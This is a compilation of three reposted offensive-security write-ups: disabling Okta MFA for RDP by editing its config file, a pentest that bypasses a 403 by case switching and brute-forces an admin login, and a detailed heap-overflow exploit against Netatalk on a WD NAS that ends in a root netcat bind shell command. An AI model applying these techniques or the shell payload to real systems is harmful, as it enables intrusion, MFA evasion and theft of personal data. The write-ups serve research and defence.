We can now reverse engineer our firmware 🙂

Bypassing Okta MFA Credential Provider for Windows

Bypassing Okta MFA Credential Provider for Windows

Original text by n00py

I’ll state this upfront, so as not to confuse: This is a POST exploitation technique. This is mostly for when you have already gained admin on the system via other means and want to be able to RDP without needing MFA.

Okta MFA Credential Provider for Windows enables strong authentication using MFA with Remote Desktop Protocol (RDP) clients. Using Okta MFA Credential Provider for Windows, RDP clients (Windows workstations and servers) are prompted for MFA when accessing supported domain joined Windows machines and servers.

– https://help.okta.com/en-us/Content/Topics/Security/proc-mfa-win-creds-rdp.htm

This is going to be very similar to my other post about Bypassing Duo Two-Factor Authentication. I’d recommend reading that first to provide context to this post.

Biggest difference between Duo and Okta is that Okta does not have fail open as the default value, making it less likely of a configuration. It also does not have “RDP Only” as the default, making the console bypass also less likely to be successful.

With that said, if you do have administrator level shell access, it is quite simple to disable.

For Okta, the configuration file is not stored in the registry like Duo but in a configuration file located at:

 C:\Program Files\Okta\Okta Windows Credential Provider\config\rdp_app_config.json

There are two things you need to do:

  • Modify the InternetFailOpenOption value to true
  • Change the Url value to something that will not resolve.

After that, attempts to RDP will not prompt Okta MFA.

It is of course always possible to uninstall the software as an admin, but ideally we want to achieve our objective with the least intrusive means possible. These configuration files can easily be flipped back when you are done.

Unusual 403 Bypass to a full website takeover [External Pentest]

Unusual 403 Bypass to a full website takeover [External Pentest]

Original text by Viktor Mares

Today we’ll look at one of the external penetration tests that I carried out earlier this year. Due to the confidentiality agreement, we will use the usual domain of REDACTED.COM

So, to provide a bit of context to the test, it is completely black box with zero information being provided from the customer. The only thing we know is that we are allowed to test redacted.com and the subdomain my.redacted.com

I’ll skip through the whole passive information gathering process and will get straight to the point.

I start actively scanning and navigating through the website to discover potential entry points. There are no ports open other than 80 & 443.

So, I start directory bruteforcing with gobuster and straightaway, I see an admin panel that returns a 403 — Forbidden response.

gobuster

Seeing this, we navigate to the website to verify that it is indeed a 403 and to capture the request with Burp Suite for potential bypasses.

admin panel — 403

In my mind, I am thinking that it will be impossible to bypass this, because there is an ACL for internal IP addresses. Nevertheless, I tried the following to bypass the 403:

  • HTTP Methods fuzzing (GET, POST, TRACE, HEAD etc.)
  • HTTP Headers fuzzing (X-Originating-IP: 127.0.0.1, X-Forwarded-For: 127.0.0.1 etc.)
  • Path fuzzing/force browsing (https://redacted.com/admin/index.html, https://redacted.com/admin/./index.html and more)
  • Protocol version changing (From HTTP 1.2, downgrade to HTTP 1.1 etc.)
  • String terminators (%00, 0x00, //, ;, %, !, ?, [] etc.) — adding those to the end of the path and inside the path

Long story short, none of those methods worked. So, I remember that sometimes the security controls are built around the literal spelling and case of components within a request. Therefore, I tried the ‘Case Switching’ technique — probably sounds dumb, but it actually worked!

To sum it up:

  • https://redacted.com/admin -> 403 Forbidden
  • https://redacted.com/Admin -> 200 OK
  • https://redacted.com/aDmin -> 200 OK

Swiching any of the letters to a capital one, will bypass the restriction.

Voila! We get a login page to the admin panel.

admin panel — bypassed 403

We get lucky with this one, nevertheless, we are now able to try different attacks (password spraying, brute forcing etc.). The company that we are testing isn’t small and we had collected quite a large number of employee credentials from leaked databases (leak check, leak peek and others). However, this is the admin panel and therefore we go with the usual tests:

  • See if there is username enumeration
  • See if there are any login restrictions
  • Check for possible WAF that will block us due to number of requests

To keep it short, there is neither. We are unable to enumerate usernames, however there is no rate limiting of any sort.

Considering the above, we load rockyou.txt and start brute forcing the password of the ‘admin’ account. After a few thousand attempts, we see the below:

admin panel brute forcing w/ Burp Suite

We found valid credentials for the admin account. Navigate to the website’s admin panel, authenticate and we are in!

Admin panel — successful authentication

Now that we are in, there isn’t much more that we need to do or can do (without the consent of the customer). The admin panel with administrative privileges allows you to change the whole configuration — control the users & their attributes, control the website’s pages, control everything really. So, I decided to write a Python script that scrapes the whole database of users (around 39,300 — thirty nine thousand and three hundred) that contains their names, emails, phones & addresses. The idea to collect all those details is to then present them to the client (victim) — to show the seriousness of the exploited vulnerabilities. Also, due to the severity of those security weaknesses, we wrote a report the same day for those specific issues, which were fixed within 24 hours.

Ultimately, there wasn’t anything too difficult in the whole exploitation process, however the unusual 403 bypass is really something that I see for the first time and I thought that some of you might weaponize this or add it to your future 403 bypass checklists.

If you enjoyed the read, please consider supporting me: https://medium.com/@mares.viktor/membership

EXPLOITING A REMOTE HEAP OVERFLOW WITH A CUSTOM TCP STACK

EXPLOITING A REMOTE HEAP OVERFLOW WITH A CUSTOM TCP STACK

Original text by Etienne Helluy-Lafont , Luca Moro  Exploit — Download

Vulnerability details and analysis

ENVIRONMENT

The Western Digital MyCloudHome is a consumer grade NAS with local network and cloud based functionalities. At the time of the contest (firmware 7.15.1-101) the device ran a custom Android distribution on a armv8l CPU. It exposed a few custom services and integrated some open source ones such as the Netatalk daemon. This service was a prime target to compromise the device because it was running with root privileges and it was reachable from adjacent network. We will not discuss the initial surface discovery here to focus more on the vulnerability. Instead we provide a detailed analysis of the vulnerabilty and how we exploited it.

Netatalk [2] is a free and Open Source [3] implementation of the Apple Filing Protocol (AFP) file server. This protocol is used in networked macOS environments to share files between devices. Netatalk is distributed via the service afpd, also available on many Linux distributions and devices. So the work presented in this article should also apply to other systems.
Western Digital modified the sources a bit to accommodate the Android environment [4], but their changes are not relevant for this article so we will refer to the official sources.

AFP data is carried over the Data Stream Interface (DSI) protocol [5]. The exploited vulnerability lies in the DSI layer, which is reachable without any form of authentication.

OVERVIEW OF SERVER IMPLEMENTATION

The DSI layer

The server is implemented as an usual fork server with a parent process listening on the TCP port 548 and forking into new children to handle client sessions. The protocol exchanges different packets encapsulated by Data Stream Interface (DSI) headers of 16 bytes.

#define DSI_BLOCKSIZ 16
struct dsi_block {
    uint8_t dsi_flags;       /* packet type: request or reply */
    uint8_t dsi_command;     /* command */
    uint16_t dsi_requestID;  /* request ID */
    union {
        uint32_t dsi_code;   /* error code */
        uint32_t dsi_doff;   /* data offset */
    } dsi_data;
    uint32_t dsi_len;        /* total data length */
    uint32_t dsi_reserved;   /* reserved field */
};

A request is usually followed by a payload which length is specified by the 

dsi_len
 field.

The meaning of the payload depends on what 

dsi_command
 is used. A session should start with the 
dsi_command
 byte set as 
DSIOpenSession (4)
. This is usually followed up by various 
DSICommand (2)
 to access more functionalities of the file share. In that case the first byte of the payload is an AFP command number specifying the requested operation.

dsi_requestID
 is an id that should be unique for each request, giving the chance for the server to detect duplicated commands.
As we will see later, Netatalk implements a replay cache based on this id to avoid executing a command twice.

It is also worth mentioning that the AFP protocol supports different schemes of authentication as well as anonymous connections.
But this is out of the scope of this write-up as the vulnerability is located in the DSI layer, before AFP authentication.

Few notes about the server implementation

The DSI struct

To manage a client in a child process, the daemon uses a 

DSI *dsi
 struct. This represents the current connection, with its buffers and it is passed into most of the Netatalk functions. Here is the struct definition with some members edited out for the sake of clarity:

#define DSI_DATASIZ       65536

/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
    /* ... */
    struct dsi_block        header;
    /* ... */
    uint8_t  *commands;            /* DSI receive buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI read ahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;

    /* ... */
} DSI;

We mainly see that the struct has:

  • The 
    command
     heap buffer used for receiving the user input, initialized in 
    dsi_init_buffer()
     with a default size of 1MB ;
  • cmdlen
     to specify the size of the input in 
    command
     ;
  • An inlined 
    data
     buffer of 64KB used for the reply ;
  • datalen
     to specify the size of the output in 
    data
     ;
  • A read ahead heap buffer managed by the pointers 
    buffer
    start
    eof
    end
    , with a default size of 12MB also initialized in 
    dsi_init_buffer()
    .

 

The main loop flow

After receiving 

DSIOpenSession
 command, the child process enters the main loop in 
afp_over_dsi()
. This function dispatches incoming commands until the end of the communication. Its simplified code is the following:

void afp_over_dsi(AFPObj *obj)
{
    DSI *dsi = (DSI *) obj->dsi;
    /* ... */
    /* get stuck here until the end */
    while (1) {
        /* ... */
        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);
        /* ... */

        switch(cmd) {
        case DSIFUNC_CLOSE:
            /* ... */
        case DSIFUNC_TICKLE:
            /* ...*/
        case DSIFUNC_CMD:
            /* ... */
            function = (u_char) dsi->commands[0];
            /* ... */
            err = (*afp_switch[function])(obj, dsi->commands, dsi->cmdlen, &dsi->data, &dsi->datalen);
            /* ... */
        default:
            LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);
            dsi_writeinit(dsi, dsi->data, DSI_DATASIZ);
            dsi_writeflush(dsi);
            break;
        }

The receiving process

In the previous snippet, we saw that an idling server will receive the client data in 

dsi_stream_receive()
. Because of the buffering attempts this function is a bit cumbersome. Here is an overview of the whole receiving process within 
dsi_stream_receive()
.

dsi_stream_receive(DSI* dsi)
 
  1. define char block[DSI_BLOCKSIZ] in its stack to receive a DSI header
 
  2. dsi_buffered_stream_read(dsi, block, sizeof(block)) wait for a DSI header
    
    1. from_buf(dsi, block, length)
       Tries to fetch available data from already buffered input
       in-between dsi->start and dsi->end
    
    2. recv(dsi->socket, dsi->eof, buflen, 0)
       Tries to receive at most 8192 bytes in a buffering attempt into the look ahead buffer
       The socket is non blocking so the call usually fails
    
    3. dsi_stream_read(dsi, block, len))
      
      1. buf_read(dsi, block, len)
        
        1. from_buf(dsi, block, len)
           Tries again to get data from the buffered input
        
        2. readt(dsi->socket, block, len, 0, 0);
           Receive data on the socket
           This call will wait on a recv()/select() loop and is usually the blocking one

  3. Populate &dsi->header from what has been received

  4. dsi_stream_read(dsi, dsi->commands, dsi->cmdlen)
        
    1. calls buf_read() to fetch the DSI payload
       If not enough data is available, the call wait on select()

The main point to notice here is that the server is only buffering the client data in the 

recv()
 of 
dsi_buffered_stream_read()
 when multiple or large commands are sent as one. Also, never more than 8KB are buffered.

THE VULNERABILITY

As seen in the previous snippets, in the main loop, 

afp_over_dsi()
 can receive an unknown command id. In that case the server will call 
dsi_writeinit(dsi, dsi-&gt;data, DSI_DATASIZ)
 then 
dsi_writeflush(dsi)
.

We assume that the purpose of those two functions is to flush both the input and the output buffer, eventually purging the look ahead buffer. However these functions are really peculiar and calling them here doesn’t seem correct. Worst, 

dsi_writeinit()
has a buffer overflow vulnerability! Indeed the function will flush out bytes from the look ahead buffer into its second argument 
dsi->data
 without checking the size provided into the third argument 
DSI_DATASIZ
.

size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_)
{
    size_t bytes = 0;
    dsi->datasize = ntohl(dsi->header.dsi_len) - dsi->header.dsi_data.dsi_doff;

    if (dsi->eof > dsi->start) {
        /* We have data in the buffer */
        bytes = MIN(dsi->eof - dsi->start, dsi->datasize);
        memmove(buf, dsi->start, bytes);    // potential overflow here
        dsi->start += bytes;
        dsi->datasize -= bytes;
        if (dsi->start >= dsi->eof)
            dsi->start = dsi->eof = dsi->buffer;
    }

    LOG(log_maxdebug, logtype_dsi, "dsi_writeinit: remaining DSI datasize: %jd", (intmax_t)dsi->datasize);

    return bytes;
}

In the above code snippet, both variables 

dsi-&gt;header.dsi_len
 and 
dsi-&gt;header.dsi_data.dsi_doff
 were set up in 
dsi_stream_receive()
 and are controlled by the client. So 
dsi-&gt;datasize
 is client controlled and depending on 
MIN(dsi-&gt;eof - dsi-&gt;start, dsi-&gt;datasize)
, the following memmove could in theory overflow 
buf
 (here 
dsi-&gt;data
). This may lead to a corruption of the tail of the 
dsi
 struct as 
dsi-&gt;data
 is an inlined buffer.

However there is an important limitation: 

dsi-&gt;data
 has a size of 64KB and we have seen that the implementation of the look ahead buffer will at most read 8KB of data in 
dsi_buffered_stream_read()
. So in most cases 
dsi-&gt;eof - dsi-&gt;start
 is less than 8KB and that is not enough to overflow 
dsi-&gt;data
.

Fortunately, there is still a complex way to buffer more than 8KB of data and to trigger this overflow. The next parts explain how to reach that point and exploit this vulnerability to achieve code execution.

Exploitation

TRIGGERING THE VULNERABILITY

Finding a way to push data in the look ahead buffer

 

The curious case of dsi_peek()

While the receiving process is not straightforward, the sending one is even more confusing. There are a lot of different functions involved to send back data to the client and an interesting one is 

dsi_peek(DSI *dsi)
.

Here is the function documentation:

/*
 * afpd is sleeping too much while trying to send something.
 * May be there's no reader or the reader is also sleeping in write,
 * look if there's some data for us to read, hopefully it will wake up
 * the reader so we can write again.
 *
 * @returns 0 when is possible to send again, -1 on error
 */
 static int dsi_peek(DSI *dsi)

In other words, 

dsi_peek()
 will take a pause during a blocked send and might try to read something if possible. This is done in an attempt to avoid potential deadlocks between the client and the server. The good thing is that the reception is buffered:

static int dsi_peek(DSI *dsi)
{
    /* ... */

    while (1) {
        /* ... */
        FD_ZERO(&readfds);
        FD_ZERO(&writefds);

        if (dsi->eof < dsi->end) {
            /* space in read buffer */
            FD_SET( dsi->socket, &readfds);
        } else { /* ... */ }

        FD_SET( dsi->socket, &writefds);

        /* No timeout: if there's nothing to read nor nothing to write,
         * we've got nothing to do at all */
        if ((ret = select( maxfd, &readfds, &writefds, NULL, NULL)) <= 0) {
            if (ret == -1 && errno == EINTR)
                /* we might have been interrupted by out timer, so restart select */
                continue;
            /* give up */
            LOG(log_error, logtype_dsi, "dsi_peek: unexpected select return: %d %s",
                ret, ret < 0 ? strerror(errno) : "");
            return -1;
        }

        if (FD_ISSET(dsi->socket, &writefds)) {
            /* we can write again */
            LOG(log_debug, logtype_dsi, "dsi_peek: can write again");
            break;
        }

        /* Check if there's sth to read, hopefully reading that will unblock the client */
        if (FD_ISSET(dsi->socket, &readfds)) {
            len = dsi->end - dsi->eof; /* it's ensured above that there's space */

            if ((len = recv(dsi->socket, dsi->eof, len, 0)) <= 0) {
                if (len == 0) {
                    LOG(log_error, logtype_dsi, "dsi_peek: EOF");
                    return -1;
                }
                LOG(log_error, logtype_dsi, "dsi_peek: read: %s", strerror(errno));
                if (errno == EAGAIN)
                    continue;
                return -1;
            }
            LOG(log_debug, logtype_dsi, "dsi_peek: read %d bytes", len);

            dsi->eof += len;
        }
    }

Here we see that if the 

select()
 returns with 
dsi-&gt;socket
 set as readable and not writable, 
recv()
 is called with 
dsi-&gt;eof
. This looks like a way to push more than 64KB of data into the look ahead buffer to later trigger the vulnerability.

One question remains: how to reach dsi_peek()?

 

Reaching dsi_peek()

While there are multiple ways to get into that function, we focused on the 

dsi_cmdreply()
 call path. This function is used to reply to a client request, which is done with most AFP commands. For instance sending a request with 
DSIFUNC_CMD
 and the AFP command 
0x14
 will trigger a logout attempt, even for an un-authenticated client and reach the following call stack:

afp_over_dsi()
dsi_cmdreply(dsi, err)
dsi_stream_send(dsi, dsi->data, dsi->datalen);
dsi_stream_write(dsi, block, sizeof(block), 0)

From there the following code is executed:

ssize_t dsi_stream_write(DSI *dsi, void *data, const size_t length, int mode)
{

  /* ... */
  while (written < length) {
      len = send(dsi->socket, (uint8_t *) data + written, length - written, flags);
      if (len >= 0) {
          written += len;
          continue;
      }

      if (errno == EINTR)
          continue;

      if (errno == EAGAIN || errno == EWOULDBLOCK) {
          LOG(log_debug, logtype_dsi, "dsi_stream_write: send: %s", strerror(errno));

          if (mode == DSI_NOWAIT && written == 0) {
              /* DSI_NOWAIT is used by attention give up in this case. */
              written = -1;
              goto exit;
          }

          /* Try to read sth. in order to break up possible deadlock */
          if (dsi_peek(dsi) != 0) {
              written = -1;
              goto exit;
          }
          /* Now try writing again */
          continue;
      }

      /* ... */

In the above code, we see that in order to reach 

dsi_peek()
 the call to 
send()
 has to fail.

 

Summarizing the objectives and the strategy

So to summarize, in order to push data into the look ahead buffer one can:

  1. Send a logout command to reach 
    dsi_cmdreply
    .
  2. In 
    dsi_stream_write
    , find a way to make the 
    send()
     syscall fail.
  3. In 
    dsi_peek()
     find a way to make 
    select()
     only returns a readable socket.

Getting a remote system to fail at sending data, while maintaining the stream open is tricky. One funny way to do that is to mess up with the TCP networking layer. The overall strategy is to have a custom TCP stack that will simulate a network congestion once a logout request is sent, but only in one direction. The idea is that the remote application will think that it can not send any more data, while it can still receive some.

Because there are a lot of layers involved (the networking card layer, the kernel buffering, the remote TCP congestion avoidance algorithm, the userland stack (?)) it is non trivial to find the optimal way to achieve the goals. But the chosen approach is a mix between two techniques:

  • Zero’ing the TCP windows of the client side, letting the remote one think our buffer is full ;
  • Stopping sending ACK packets for the server replies.

This strategy seems effective enough and the exploit manages to enter the wanted codepath within a few seconds.

Writing a custom TCP stack

To achieve the described strategy we needed to re-implement a TCP networking stack. Because we did not want to get into low-levels details, we decided to use scapy [6] and implemented it in Python over raw sockets.

The class 

RawTCP
 of the exploit is the result of this development. It is basic and slow and it does not handle most of the specific aspects of TCP (such as packets re-ordering and re-transmission). However, because we expect the targeted device to be in the same network without networking reliability issues, the current implementation is stable enough.

The most noteworthy details of 

RawTCP
 is the attribute 
reply_with_ack
 that could be set to 0 to stop sending ACK and 
window
 that is used to advertise the current buffer size.

One prerequisite of our exploit is that the attacker kernel must be «muzzled down» so that it doesn’t try to interpret incoming and unexpected TCP segments.
Indeed the Linux TCP stack is not aware of our shenanigans on the TCP connection and he will try to kill it by sending RST packets.

One can prevent Linux from sending RST packets to the target, with an iptables rule like this:

# iptables -I OUTPUT -p tcp -d TARGET_IP --dport 548 --tcp-flags RST RST -j DROP

Triggering the bug

To sum up, here is how we managed to trigger the bug. The code implementing this is located in the function 

do_overflow
 of the exploit:

  1. Open a session by sending DSIOpenSession.
  2. In a bulk, send a lot of DSICommand requests with the logout function 0x14 to force the server to get into dsi_cmdreply().
    From our tests 3000 commands seems enough for the targeted hardware.
  3. Simulate a congestion by advertising a TCP windows size of 0 while stopping to ACK reply the server replies.
    After a short while the server should be stuck in dsi_peek() being only capable of receiving data.
  4. Send a DSI dummy and invalid command with a dsi_len and payload larger than 64KB.
    This command is received in dsi_peek() and later consumed in dsi_stream_receive() / dsi_stream_read() / buf_read().
    In the exploit we use the command id DSIFUNC_MAX+1 to enter the default case of the afp_over_dsi() switch.
  5. Send a block of raw data larger than 64KB.
    This block is also received in dsi_peek() while the server is blocked but is consumed in dsi_writeinit() by overflowing dsi->data and the tail of the dsi struct.
  6. Start to acknowledge again the server replies (3000) by sending ACK back and a proper TCP window size.
    This triggers the handling of the logout commands that were not handled before the obstruction, then the invalid command to reach the overflow.

The whole process is done pretty quickly in a few seconds, depending on the setup (usually less than 15s).

GETTING A LEAK

To exploit the server, we need to know where the main binary (apfd) is loaded in memory. The server runs with Address Space Layout Randomization (ASLR) enabled, therefore the base address of apfd changes each time the server gets started. Fortunately for us, apfd forks before handling a client connection, so the base address will remain the same across all connections even if we crash a forked process.

In order to defeat ASLR, we need to leak a pointer to some known memory location in the apfd binary. To obtain this leak, we can use the overflow to corrupt the tail of the 

dsi
 struct (after the data buffer) to force the server to send us more data than expected. The command replay cache feature of the server provides a convenient way to do so.

Here are the relevant part of the main loop of 

afp_over_dsi()
:

/ in afp_over_dsi()
    case DSIFUNC_CMD:

        function = (u_char) dsi->commands[0];

        /* AFP replay cache */
        rc_idx = dsi->clientID % REPLAYCACHE_SIZE;
        LOG(log_debug, logtype_dsi, "DSI request ID: %u", dsi->clientID);

        if (replaycache[rc_idx].DSIreqID == dsi->clientID
            && replaycache[rc_idx].AFPcommand == function) {

            LOG(log_note, logtype_afpd, "AFP Replay Cache match: id: %u / cmd: %s",
                dsi->clientID, AfpNum2name(function));
            err = replaycache[rc_idx].result;

            /* AFP replay cache end */

        } else {
                dsi->datalen = DSI_DATASIZ;
                dsi->flags |= DSI_RUNNING;
            /* ... */

            if (afp_switch[function]) {
                /* ... */
                err = (*afp_switch[function])(obj,
                                              (char *)dsi->commands, dsi->cmdlen,
                                              (char *)&dsi->data, &dsi->datalen);

                /* ... */
                /* Add result to the AFP replay cache */
                replaycache[rc_idx].DSIreqID = dsi->clientID;
                replaycache[rc_idx].AFPcommand = function;
                replaycache[rc_idx].result = err;
            }
        }
        /* ... */
        dsi_cmdreply(dsi, err)

        /* ... */

Here is the code for 

dsi_cmdreply()
:

int dsi_cmdreply(DSI *dsi, const int err)
{
    int ret;

    LOG(log_debug, logtype_dsi, "dsi_cmdreply(DSI ID: %u, len: %zd): START",
        dsi->clientID, dsi->datalen);

    dsi->header.dsi_flags = DSIFL_REPLY;
    dsi->header.dsi_len = htonl(dsi->datalen);
    dsi->header.dsi_data.dsi_code = htonl(err);

    ret = dsi_stream_send(dsi, dsi->data, dsi->datalen);

    LOG(log_debug, logtype_dsi, "dsi_cmdreply(DSI ID: %u, len: %zd): END",
        dsi->clientID, dsi->datalen);

    return ret;
}

When the server receives the same command twice (same 

clientID
 and 
function
), it takes the replay cache code path which calls 
dsi_cmdreply()
 without initializing 
dsi-&gt;datalen
. So in that case, 
dsi_cmdreply()
 will send  
dsi-&gt;datalen
 bytes of 
dsi-&gt;data
 back to the client in 
dsi_stream_send()
.

This is fortunate because the 

datalen
 field is located just after the data buffer in the struct DSI. That means that to control 
datalen
 we just need to trigger the overflow with 65536 + 4 bytes (4 being the size of a size_t).

Then, by sending a 

DSICommand
 command with an already used 
clientID
 we reach a 
dsi_cmdreply()
 that can send back all the 
dsi-&gt;data
 buffer, the tail of the 
dsi
 struct and part of the following heap data. In the 
dsi
 struct tail, we get some heap pointers such as 
dsi-&gt;buffer
dsi-&gt;start
dsi-&gt;eof
dsi-&gt;end
. This is useful because we now know where client controlled data is stored.
In the following heap data, we hopefully expect to find pointers into afpd main image.

From our experiments we found out that most of the time, by requesting a leak of 2MB+64KB we get parts of the heap where 

hash_t
 objects were allocated by 
hash_create()
:

typedef struct hash_t {
    #if defined(HASH_IMPLEMENTATION) || !defined(KAZLIB_OPAQUE_DEBUG)
    struct hnode_t **hash_table;        /* 1 */
    hashcount_t hash_nchains;           /* 2 */
    hashcount_t hash_nodecount;         /* 3 */
    hashcount_t hash_maxcount;          /* 4 */
    hashcount_t hash_highmark;          /* 5 */
    hashcount_t hash_lowmark;           /* 6 */
    hash_comp_t hash_compare;           /* 7 */
    hash_fun_t hash_function;           /* 8 */
    hnode_alloc_t hash_allocnode;
    hnode_free_t hash_freenode;
    void *hash_context;
    hash_val_t hash_mask;           /* 9 */
    int hash_dynamic;               /* 10 */
    #else
    int hash_dummy;
    #endif
} hash_t;

hash_t *hash_create(hashcount_t maxcount, hash_comp_t compfun,
                    hash_fun_t hashfun)
{
    hash_t *hash;

    if (hash_val_t_bit == 0)    /* 1 */
        compute_bits();

    hash = malloc(sizeof *hash);    /* 2 */

    if (hash) {     /* 3 */
        hash->table = malloc(sizeof *hash->table * INIT_SIZE);  /* 4 */
        if (hash->table) {  /* 5 */
            hash->nchains = INIT_SIZE;      /* 6 */
            hash->highmark = INIT_SIZE * 2;
            hash->lowmark = INIT_SIZE / 2;
            hash->nodecount = 0;
            hash->maxcount = maxcount;
            hash->compare = compfun ? compfun : hash_comp_default;
            hash->function = hashfun ? hashfun : hash_fun_default;
            hash->allocnode = hnode_alloc;
            hash->freenode = hnode_free;
            hash->context = NULL;
            hash->mask = INIT_MASK;
            hash->dynamic = 1;          /* 7 */
            clear_table(hash);          /* 8 */
            assert (hash_verify(hash));
            return hash;
        }
        free(hash);
    }
    return NULL;
}

The 

hash_t
 structure is very distinct from other data and contains pointers on the 
hnode_alloc()
 and 
hnode_free()
functions that are located in the afpd main image.
Therefore by parsing the received leak, we can look for 
hash_t
 patterns and recover the ASLR slide of the main binary. This method is implemented in the exploit in the function 
parse_leak()
.

Regrettably this strategy is not 100% reliable depending on the heap initialization of afpd.
There might be non-mapped memory ranges after the 

dsi
 struct, crashing the daemon while trying to send the leak.
In that case, the exploit won’t work until the device (or daemon) get restarted.
Fortunately, this situation seems rare (less than 20% of the cases) giving the exploit a fair chance of success.

BUILDING A WRITE PRIMITIVE

Now that we know where the main image and heap are located into the server memory, it is possible to use the full potential of the vulnerability and overflow the rest of the 

struct *DSI
 to reach code execution.

Rewriting 

dsi-&gt;proto_close
 looks like a promising way to get the control of the flow. However because of the lack of control on the arguments, we’ve chosen another exploitation method that works equally well on all architectures but requires the ability to write arbitrary data at a chosen location.


The look ahead pointers of the 

DSI
 structure seem like a nice opportunity to achieve a controlled write.

typedef struct DSI {
    /* ... */
    uint8_t  data[DSI_DATASIZ];
    size_t   datalen, cmdlen; /* begining of the overflow */
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;

    /* ... */
} DSI;

By setting 

dsi-&gt;buffer
 to the location we want to write and 
dsi-&gt;end
 as the upper bound of the writing location, the next command buffered by the server can end-up at a controlled address.

One should takes care while setting 

dsi->start
 and 
dsi->eof
, because they are reset to 
dsi->buffer
 after the overflow in 
dsi_writeinit()
:

    if (dsi->eof > dsi->start) {
        /* We have data in the buffer */
        bytes = MIN(dsi->eof - dsi->start, dsi->datasize);
        memmove(buf, dsi->start, bytes);
        dsi->start += bytes;         // the overflowed value is changed back here ...
        dsi->datasize -= bytes;
        if (dsi->start >= dsi->eof)
            dsi->start = dsi->eof = dsi->buffer; // ... and there
    }

As seen in the snippet, this is only a matter of setting 

dsi-&gt;start
 greater than 
dsi-&gt;eof
 during the overflow.

So to get a write primitive one should:

  1. Overflow 
    dsi-&gt;buffer
    dsi-&gt;end
    dsi-&gt;start
     and 
    dsi-&gt;eof
     according to the write location.
  2. Send two commands in the same TCP segment.

The first command is just a dummy one, and the second command contains the data to write.

Sending two commands here seems odd but it it necessary to trigger the arbitrary write, because of the convoluted reception mechanism of 

dsi_stream_read()
.

When receiving the first command, 

dsi_buffered_stream_read()
 will skip the non-blocking call to 
recv()
 and take the blocking receive path in 
dsi_stream_read()
 -> 
buf_read()
 -> 
readt()
.

The controlled write happens during the reception of the second command. Because the two commands were sent in the same TCP segment, the data of the second one is most likely to be available on the socket. Therefore the non-blocking 

recv()
 should succeed and write at 
dsi-&gt;eof
.

COMMAND EXECUTION

With the ability to write arbitrary data at a chosen location it is now possible to take control of the remote program.

The most obvious location to write to is the array 

preauth_switch
:

static AFPCmd preauth_switch[] = {
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                 /*   0 -   7 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                 /*   8 -  15 */
    NULL, NULL, afp_login, afp_logincont,
    afp_logout, NULL, NULL, NULL,               /*  16 -  23 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                 /*  24 -  31 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                 /*  32 -  39 */
    NULL, NULL, NULL, NULL,
    ...

As seen previously, this array is used in 

afp_over_dsi()
 to dispatch the client 
DSICommand
 requests. By writing an arbitrary entry in the table, it is then possible to perform the following call with a controlled function pointer:

err = (*afp_switch[function])(obj,
                (char *)dsi->commands, dsi->cmdlen,
                (char *)&dsi->data, &dsi->datalen);

One excellent candidate to replace 

preauth_switch[function]
 with is 
afprun()
. This function is used by the server to launch a shell command, and can even do so with root privileges 🙂

int afprun(int root, char *cmd, int *outfd)
{
    pid_t pid;
    uid_t uid = geteuid();
    gid_t gid = getegid();

    /* point our stdout at the file we want output to go into */
    if (outfd && ((*outfd = setup_out_fd()) == -1)) {
        return -1;
    }

    /* ... */

    if ((pid=fork()) < 0) { /* ... */ }

    /* ... */

    /* now completely lose our privileges. This is a fairly paranoid
       way of doing it, but it does work on all systems that I know of */
    if (root) {
        become_user_permanently(0, 0);
        uid = gid = 0;
    }
    else {
        become_user_permanently(uid, gid);
    }

    /* ... */

    execl("/bin/sh","sh","-c",cmd,NULL);
    /* not reached */
    exit(82);
    return 1;
}

So to get a command executed as root, we transform the call:

(*afp_switch[function])(obj, dsi->commands, dsi->cmdlen, [...]);

into

afprun(int root, char *cmd, int *outfd)

The situation is the following:

  •  
    function
     is chosen by the client so that 
    afp_switch[function]
     is the function pointer overwritten with 
    afprun
     ;
  •  
    obj
     is a non-NULL 
    AFPObj*
     pointer, which fits with the 
    root
     argument that should be non zero ;
  •  
    dsi-&gt;commands
     is a valid pointer with controllable content, where we can put a chosen command such as a binded netcat shell ;
  •  
    dsi-&gt;cmdlen
     must either be NULL or a valid pointer because 
    *outfd
     is dereferenced in 
    afprun
    .

Here is one final difficulty. It is not possible to send a 

dsi-&gt;command
 long enough so that 
dsi-&gt;cmdlen
 becomes a valid pointer.
But with a NULL 
dsi-&gt;cmdlen
dsi-&gt;command
 is not controlled anymore.

The trick is to observe that 

dsi_stream_receive()
 does not clean the 
dsi-&gt;command
 in between client requests, and 
afp_over_dsi()
 does not check 
cmdlen
 before using 
dsi-&gt;commands[0]
.

So if a client send a DSI a packet without a 

dsi-&gt;command
 payload and a 
dsi-&gt;cmdlen
 of zero, the 
dsi-&gt;command
 remains the same as the previous command.

As a result it is possible to send:

  • A first DSI request with 
    dsi-&gt;command
     being something similar to 
    &lt;function_id&gt; ; /sbin/busybox nc -lp &lt;PORT&gt; -e /bin/sh;
    .
  • A second DSI request with a zero 
    dsi-&gt;cmdlen
    .

This ends up calling:

(*afp_switch[function_id])(obj,"<function_id> ; /sbin/busybox nc -lp <PORT> -e /bin/sh;", 0, [...])

which is what was required to get RCE once 

afp_switch[function_id]
 was overwritten with 
afprun
.


